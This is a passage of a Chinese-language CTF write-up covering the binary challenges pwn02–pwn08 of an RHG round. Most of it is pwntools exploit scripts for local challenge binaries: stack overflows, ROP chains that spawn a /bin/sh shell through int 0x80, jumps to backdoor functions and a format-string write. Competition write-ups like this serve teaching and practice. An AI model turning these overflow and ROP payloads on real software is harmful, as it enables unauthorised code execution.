src="https://wechat2rss.xlab.app/img-proxy/?k=01e8674d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLLxVFd83IP8olZxvcpU7VHxdZwiaN98e4opYpteZUNuXhZkibz69ialhqvVduEYqOjXicQm0sCe4ydDQ%2F640%3Fwx_fmt%3Dpng"/></p><p>答案为flag{sikx}</p><h2 style="margin-top: 8px;margin-bottom: 8px;white-space: normal;"><span style="font-size: 20px;"><strong>三、RHG（人工智能漏洞挖掘）</strong></span></h2><p>RHG部分我们没有准备自动化工具，全靠手速。</p><p>由于本次rhg题目大多为静态编译且去符号，为了更方便直观进行程序分析，我们在赛前下载了对应版本的sig（libc6_2.23-0ubuntu3_i386.sig）放入IDA安装目录的sig/pc目录下，在使用IDA分析时可导入sig，可自动帮助识别libc函数。</p><p style="text-align: justify;">             <v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype><img class="rich_pages wxw-img" data-cropselx1="0" data-cropselx2="578" data-cropsely1="0" data-cropsely2="309" data-ratio="0.534" style="width: 578px;height: 308px;" data-type="png" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=8d7581e8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLLxVFd83IP8olZxvcpU7VHib72v9GzehMQTlEBa84OezBkwSFSHyNcBlicicOq3GW1DRuAAJYDnzlag%2F640%3Fwx_fmt%3Dpng"/></p><ul class="list-paddingleft-1" style="list-style-type: disc;margin-left: 16px;margin-right: 16px;"><li><h2 style="margin-top: 8px;margin-bottom: 8px;"><span style="font-size: 18px;"><strong>pwn02
  </strong></span></h2></li></ul><p>和上午测试的pwn01一样，简单的栈溢出。</p><p style="text-align: justify;">             <v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype><img class="rich_pages wxw-img" data-cropselx1="0" data-cropselx2="464" data-cropsely1="0" data-cropsely2="172" data-ratio="0.37089201877934275" style="width: 464px;height: 172px;" data-type="png" data-w="852" src="https://wechat2rss.xlab.app/img-proxy/?k=97256bfd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLLxVFd83IP8olZxvcpU7VH43pSaxk4ib6BZfb5v5qOq9ZrjJ7eEY5bXRLlrroqtgPAPk1WJm0eJeA%2F640%3Fwx_fmt%3Dpng"/></p><p>直接ropchain一把梭。使用ROPgadget得到rop链后构造exp。</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">ROPgadget</span> --binary r2 --ropchain</span></code></pre></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="makefile"><code><span class="code-snippet_outer">from pwn import *</span></code><code><span class="code-snippet_outer">from struct import *</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">sh=process(&#39;./r2&#39;)</span></code><code><span class="code-snippet_outer">sh.recv()</span></code><code><span class="code-snippet_outer">p=b&#39;a&#39;*0x6c</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x0806f83b) <span class="code-snippet__comment"># pop edx ; ret</span></span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x080eb060) <span class="code-snippet__comment"># @ .data</span></span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x080b8eb6) <span class="code-snippet__comment"># pop eax ; ret</span></span></code><code><span class="code-snippet_outer">p += b&#39;/bin&#39;</span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x0805502b) <span class="code-snippet__comment"># mov dword ptr [edx], eax ; ret</span></span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x0806f83b) <span class="code-snippet__comment"># pop edx ; ret</span></span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x080eb064) <span class="code-snippet__comment"># @ .data + 4</span></span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x080b8eb6) <span class="code-snippet__comment"># pop eax ; ret</span></span></code><code><span class="code-snippet_outer">p += b&#39;//sh&#39;</span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x0805502b) <span class="code-snippet__comment"># mov dword ptr [edx], eax ; ret</span></span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x0806f83b) <span class="code-snippet__comment"># pop edx ; ret</span></span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x080eb068) <span class="code-snippet__comment"># @ .data + 8</span></span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x080495a3) <span class="code-snippet__comment"># xor eax, eax ; ret</span></span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x0805502b) <span class="code-snippet__comment"># mov dword ptr [edx], eax ; ret</span></span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x080481c9) <span class="code-snippet__comment"># pop ebx ; ret</span></span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x080eb060) <span class="code-snippet__comment"># @ .data</span></span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x080df8bd) <span class="code-snippet__comment"># pop ecx ; ret</span></span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x080eb068) <span class="code-snippet__comment"># @ .data + 8</span></span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x0806f83b) <span class="code-snippet__comment"># pop edx ; ret</span></span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x080eb068) <span class="code-snippet__comment"># @ .data + 8</span></span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x080495a3) <span class="code-snippet__comment"># xor eax, eax ; ret</span></span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x0807b2f6) <span class="code-snippet__comment"># inc eax ; ret</span></span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x0807b2f6) <span class="code-snippet__comment"># inc eax ; ret</span></span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x0807b2f6) <span class="code-snippet__comment"># inc eax ; ret</span></span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x0807b2f6) <span class="code-snippet__comment"># inc eax ; ret</span></span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x0807b2f6) <span class="code-snippet__comment"># inc eax ; ret</span></span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x0807b2f6) <span class="code-snippet__comment"># inc eax ; ret</span></span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x0807b2f6) <span class="code-snippet__comment"># inc eax ; ret</span></span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x0807b2f6) <span class="code-snippet__comment"># inc eax ; ret</span></span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x0807b2f6) <span class="code-snippet__comment"># inc eax ; ret</span></span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x0807b2f6) <span class="code-snippet__comment"># inc eax ; ret</span></span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x0807b2f6) <span class="code-snippet__comment"># inc eax ; ret</span></span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x0806d443) <span class="code-snippet__comment"># int 0x80</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">sh.sendline(p)</span></code><code><span class="code-snippet_outer">sh.interactive()</span></code></pre></section><ul class="list-paddingleft-1" style="list-style-type: disc;margin-left: 16px;margin-right: 16px;"><li><h2 style="margin-bottom: 8px;margin-top: 8px;"><span style="font-size: 18px;"><strong>pwn03</strong></span>  </h2></li></ul><p>溢出点和pwn02一样，但是加了限制，payload中不能有BINSHbinsh中的任意字符。</p><p style="text-align: justify;">             <v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype><img class="rich_pages wxw-img" data-cropselx1="0" data-cropselx2="578" data-cropsely1="0" data-cropsely2="214" data-ratio="0.7630662020905923" style="width: 578px;height: 441px;" data-type="png" data-w="861" src="https://wechat2rss.xlab.app/img-proxy/?k=22f841d8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLLxVFd83IP8olZxvcpU7VHyfBeGDQibiaSWicWXPu12GXgfBoe57b9PkpE1iaWqK5sDu0k7iaHZsWHkRA%2F640%3Fwx_fmt%3Dpng"/></p><p>通过read函数将/bin/sh写入bss段中，再使用系统调用执行execve即可获得shell。</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="makefile"><code><span class="code-snippet_outer">from pwn import *            </span></code><code><span class="code-snippet_outer">from struct import pack            </span></code><code><span class="code-snippet_outer">           </span></code><code><span class="code-snippet_outer">pop_eax=0x080b8f16            </span></code><code><span class="code-snippet_outer">int80=0x0806d4a3            </span></code><code><span class="code-snippet_outer">pop_ebx=0x080481c9            </span></code><code><span class="code-snippet_outer">pop_ecx=0x080df91d            </span></code><code><span class="code-snippet_outer">pop_edx=0x0806f89b            </span></code><code><span class="code-snippet_outer">read=0x0806DE00            </span></code><code><span class="code-snippet_outer">main=0x80488CE            </span></code><code><span class="code-snippet_outer">bss=0x080EBF80            </span></code><code><span class="code-snippet_outer">           </span></code><code><span class="code-snippet_outer">sh=process(&#39;./r3&#39;)            </span></code><code><span class="code-snippet_outer">sh.recv()            </span></code><code><span class="code-snippet_outer">p=b&#39;a&#39;*0x74+p32(read)+p32(main)+p32(0)+p32(bss)+p32(8)            </span></code><code><span class="code-snippet_outer">sh.send(p)            </span></code><code><span class="code-snippet_outer">sh.recv()            </span></code><code><span class="code-snippet_outer">sh.send(b<span class="code-snippet__string">&#34;/bin/sh\x00&#34;</span>)            </span></code><code><span class="code-snippet_outer">p=b&#39;a&#39;*0x74            </span></code><code><span class="code-snippet_outer">p+=flat([pop_eax,0xb,pop_ebx,bss,pop_ecx,0,pop_edx,0,int80])            </span></code><code><span class="code-snippet_outer">sh.send(p)            </span></code><code><span class="code-snippet_outer">sh.interactive()   </span></code></pre></section><ul class="list-paddingleft-1" style="list-style-type: disc;margin-left: 16px;margin-right: 16px;"><li style="font-weight: bold;font-size: 18px;"><h2 style="margin-top: 8px;margin-bottom: 8px;"><span style="font-size: 18px;"><strong>pwn04
  </strong></span></h2></li></ul><p>存在栈溢出点和后门函数，修改ret地址为shell地址即可。</p><p style="text-align: justify;">             <v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype><img class="rich_pages wxw-img" data-cropselx1="0" data-cropselx2="382" data-cropsely1="0" data-cropsely2="123" data-ratio="0.32193732193732194" style="width: 382px;height: 123px;" data-type="png" data-w="702" src="https://wechat2rss.xlab.app/img-proxy/?k=e523c3c4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLLxVFd83IP8olZxvcpU7VHb4LYcKZyP5fjtR4DzibqNzFwfMHZlfFJUdUqDVdHoAt9iazD9pgXBkZQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: justify;">             <v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype><img class="rich_pages wxw-img" data-cropselx1="0" data-cropselx2="256" data-cropsely1="0" data-cropsely2="77" data-ratio="0.30148619957537154" style="width: 256px;height: 77px;" data-type="png" data-w="471" src="https://wechat2rss.xlab.app/img-proxy/?k=fac6ad09&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLLxVFd83IP8olZxvcpU7VH5PB93Pf4VJvIqCDsRujJCu5AncWEUz5CrWGL0icvO8THVjzBzZ2zr7Q%2F640%3Fwx_fmt%3Dpng"/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="makefile"><code><span class="code-snippet_outer">from pwn import *            </span></code><code><span class="code-snippet_outer">sh=process(&#39;./r4&#39;)            </span></code><code><span class="code-snippet_outer">shell=0x080485BD            </span></code><code><span class="code-snippet_outer">sh.recv()            </span></code><code><span class="code-snippet_outer">payload=b&#39;a&#39;*0x6c+p32(shell)            </span></code><code><span class="code-snippet_outer">sh.send(payload)            </span></code><code><span class="code-snippet_outer">sh.interactive()            </span></code></pre></section><ul class="list-paddingleft-1" style="list-style-type: disc;margin-left: 16px;margin-right: 16px;"><li><h2 style="margin-top: 8px;"><span style="font-size: 18px;"><strong>pwn05
  </strong></span></h2></li></ul><p>根据代码可知，v0为输入字符串的第16个字符后的字符串，转为整数后+5计算得到，即为输入任意16个字符后，输入85140即可获得shell。</p><p style="text-align: justify;">             <v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype><img class="rich_pages wxw-img" data-cropselx1="0" data-cropselx2="418" data-cropsely1="0" data-cropsely2="413" data-ratio="0.988296488946684" style="width: 418px;height: 413px;" data-type="png" data-w="769" src="https://wechat2rss.xlab.app/img-proxy/?k=c792f461&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLLxVFd83IP8olZxvcpU7VHWPlvIpBvN5HsSxHic0icRnAvXaXhktN9a6KVicnYueVe4OxrzF2Kg9ricw%2F640%3Fwx_fmt%3Dpng"/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">from</span> pwn <span class="code-snippet__keyword">import</span> *            </span></code><code><span class="code-snippet_outer">sh=process(<span class="code-snippet__string">&#39;./r5&#39;</span>)            </span></code><code><span class="code-snippet_outer">payload=<span class="code-snippet__string">&#39;1&#39;</span>*<span class="code-snippet__number">16</span>+<span class="code-snippet__string">&#39;85140&#39;</span>            </span></code><code><span class="code-snippet_outer">sh.send(payload)            </span></code><code><span class="code-snippet_outer">sh.interactive()            </span></code></pre></section><ul class="list-paddingleft-1" style="list-style-type: disc;margin-left: 16px;margin-right: 16px;"><li><h2 style="margin-top: 8px;margin-bottom: 8px;"><span style="font-size: 18px;"><strong>pwn06
  </strong></span></h2></li></ul><p>和pwn05逻辑差不多，输入12345即可拿到shell。</p><p style="text-align: justify;">             <v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype><img class="rich_pages wxw-img" data-cropselx1="0" data-cropselx2="380" data-cropsely1="0" data-cropsely2="416" data-ratio="1.0931232091690544" style="width: 381px;height: 416px;" data-type="png" data-w="698" src="https://wechat2rss.xlab.app/img-proxy/?k=25fd4409&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLLxVFd83IP8olZxvcpU7VHPyWsyl9pdJV4bumrJrq1jhTfzwcWGt2fvpO8QHQibcSpLgiaKAzfQnIw%2F640%3Fwx_fmt%3Dpng"/></p><ul class="list-paddingleft-1" style="list-style-type: disc;margin-left: 16px;margin-right: 16px;"><li><h2 style="margin-top: 8px;margin-bottom: 8px;"><span style="font-size: 18px;"><strong>pwn07
  </strong></span></h2></li></ul><p>分析下来其实是一道嵌套了后门函数的迷宫题，从后门函数一步步回溯到入口函数，倒推回去即可得到正确的路径。</p><p style="text-align: justify;">             <v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype><img class="rich_pages wxw-img" data-cropselx1="0" data-cropselx2="487" data-cropsely1="0" data-cropsely2="227" data-ratio="0.4654017857142857" style="width: 488px;height: 227px;" data-type="png" data-w="896" src="https://wechat2rss.xlab.app/img-proxy/?k=6ca858e7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLLxVFd83IP8olZxvcpU7VH6NERsqibhQNCD4XTicNbtvYUewuWxIjWCXSKdHBFafm62MIrM5DNGVlg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: justify;">             <v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype><img class="rich_pages wxw-img" data-cropselx1="0" data-cropselx2="510" data-cropsely1="0" data-cropsely2="92" data-ratio="0.18017057569296374" style="width: 511px;height: 92px;" data-type="png" data-w="938" src="https://wechat2rss.xlab.app/img-proxy/?k=6139e92f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLLxVFd83IP8olZxvcpU7VHqe0iaibZJfgsGYTrn2RtU8eDbtSWVd8qdOCx9e45WHhATclKLFrmY3RQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: justify;">             <v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype><img class="rich_pages wxw-img" data-cropselx1="0" data-cropselx2="469" data-cropsely1="0" data-cropsely2="78" data-ratio="0.16550925925925927" style="width: 471px;height: 78px;" data-type="png" data-w="864" src="https://wechat2rss.xlab.app/img-proxy/?k=396f67e2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLLxVFd83IP8olZxvcpU7VHSicZ8trHN9LPAoMEf5AoOGTgOjXGcGtUvtEf7jhnBRFtvenkgfburKQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: justify;">             <v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype><img class="rich_pages wxw-img" data-cropselx1="0" data-cropselx2="428" data-cropsely1="0" data-cropsely2="68" data-ratio="0.15903307888040713" style="width: 428px;height: 68px;" data-type="png" data-w="786" src="https://wechat2rss.xlab.app/img-proxy/?k=0afb816a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLLxVFd83IP8olZxvcpU7VHC7r0icOB6hgAChicUX2h78sy1Hcvtwoml1YmwfeQIVnSAqmGTTZndWQA%2F640%3Fwx_fmt%3Dpng"/></p><p>......</p><p>得到路径为：WSDWAAWDW</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">from</span> pwn <span class="code-snippet__keyword">import</span> *            </span></code><code><span class="code-snippet_outer">sh=process(<span class="code-snippet__string">&#39;./r7&#39;</span>)            </span></code><code><span class="code-snippet_outer">sh.recv()            </span></code><code><span class="code-snippet_outer">sh.send(<span class="code-snippet__string">&#39;WSDWAAWDW&#39;</span>)            </span></code><code><span class="code-snippet_outer">sh.interactive()</span></code></pre></section><ul class="list-paddingleft-1" style="list-style-type: disc;margin-left: 16px;margin-right: 16px;"><li><h2 style="margin-top: 8px;margin-bottom: 8px;"><span style="font-size: 18px;"><strong>pwn08
  </strong></span></h2></li></ul><p>格式化字符串漏洞，利用pwntools的工具将0x80ebf9c处的变量改为28即可得到shell。</p><p style="text-align: justify;">             <v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype><img class="rich_pages wxw-img" data-cropselx1="0" data-cropselx2="476" data-cropsely1="0" data-cropsely2="220" data-ratio="0.4618015963511973" style="width: 476px;height: 